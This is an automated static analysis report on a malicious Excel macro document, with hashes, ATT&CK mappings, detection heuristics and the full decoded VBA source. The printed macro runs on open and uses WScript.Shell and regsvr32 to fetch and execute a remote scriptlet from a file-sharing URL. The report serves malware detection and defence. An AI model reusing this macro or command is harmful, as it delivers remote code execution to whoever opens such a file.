Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 d3093652cb4f0378…

MALICIOUS

Office (OOXML)

17.1 KB Created: 2021-07-01 11:13:02 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: 92a72cee824cea8d897645fa6d294ba9 SHA-1: fbe2a003c628c895e0a3946ad8e4f1d62c67a063 SHA-256: d3093652cb4f03784a02c812e148ff54dd8475efdcbdf0106bb6d8809a92f774
410 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The file is an Excel document containing a Workbook_Open VBA macro. This macro utilizes WScript.Shell and CreateObject to execute obfuscated code, which is a common technique for downloading and executing secondary payloads. ClamAV detection further confirms its malicious nature, identifying it as Xls.Malware.Valyria-10036093-0.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
        .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
For hUSDAzUT = 1 To VPBNwVXyVvGQGOQcsISEJ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7405 bytes
SHA-256: b9a4175106d655cfa590bdebd41b4d0b77420a1eee42633061754497127f1b71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For hUSDAzUT = 1 To VPBNwVXyVvGQGOQcsISEJ
    MnLN = NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT).Value
    otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh = NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT).Value
    Select Case True
        Case MnLN = "DbuodtLzHV:": NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT).Font.Bold = True
        Case InStr(1, MnLN, "yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb: ")
            NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT & ":tVOrLfDkzoSYASDpXNOCQLCPTGpRACENGOoPKAeSpIdTDRAXurQPbwoLyYBf" & hUSDAzUT).Interior.ColorIndex = 15
            NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT).Font.Bold = True
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "YOE"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.ColorIndex = 37
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.ColorIndex = 3
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next hUSDAzUT
Application.DisplayAlerts = False

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'YLCFURrakMzPWfbpdPrOnPekpbkPDdJKIRiNdXGFktMftpRWRKYpSn  yuHtIIN hUSDAzUT  UOFeQwKcNhBOU
    .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
 .Show
 'yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb YOE YOE /nYEMdzPaGVA yuHtIIN YOE YOE YOE yuHtIIN

End With
If InStr(fullpath, ".Ay") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.UOFeQwKcNhBOU(1).UsedRange.Copy Destination:=wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("YOE" & Rows.eU).End(xlUp)
wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("oCKQSQv").Value = "Status"
lRow = wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Cells(Rows.eU, 1).End(xlUp).Row
For ZeJJOyduFvCzeYcvcGuuhkeUhQsMS = 2 To lRow
    If wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("H" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = 0 And wb.UOFeQwKcNhBOU(1).Range("I" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = 0 Then
        wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("ZeJJOyduFvCzeYcvcGuuhkeUhQsMS" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"
    Else
        wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("ZeJJOyduFvCzeYcvcGuuhkeUhQsMS" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"
    End If
Next ZeJJOyduFvCzeYcvcGuuhkeUhQsMS
wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/GVLWVkzR", "FF", "FF/GVLWVkzR", "TGhvSRwNWCCRuAFzEdOIEnJwbGZYOhQCEonMuTyQYkyQkLJSfEAvuNoEXVpu", "TGhvSRwNWCCRuAFzEdOIEnJwbGZYOhQCEonMuTyQYkyQkLJSfEAvuNoEXVpu/GVLWVkzR"), _
    Operator:=xlFilterValues
    'UfALhzLQZUIbZrWR?HfzPGbLnLJYIdnEiZFOTnGICDefITOWnVIAMzbAbPDFQNk
    wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb
    wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=7, _
    Criteria1:=Array("YOE", "WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt", "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"), _
    Operator:=xlFilterValues
Worksheets("NPTiWfOvhEcdLe").Cells(1, 1).Select
 UOFeQwKcNhBOU.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"NPTiWfOvhEcdLe!R1C1:R" & lRow & "yuHtIIN", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").Select
wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).AddFields _
ColumnFields:="YOE", _
RowFields:=Array("yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu")
With wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).PivotFields("iQFsAFVrXT")
.Orientation = xlDataField
.Name = "eU"
.Function = xlCount
End With

With wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).PivotFields("iQFsAFVrXT")
.Orientation = xlDataField
.Name = "BZXBboGXXpriCOyiXVEiwQnOBFZLSXupwPdJcVGG"
.NumberFormat = "BZXBboGXXpriCOyiXVEiwQnOBFZLSXupwPdJcVGG"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 23040 bytes
SHA-256: 9e460985741bde15d353ecc8a15478781279a08e5ea950d30c92442a16f63ac5
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: unlikely

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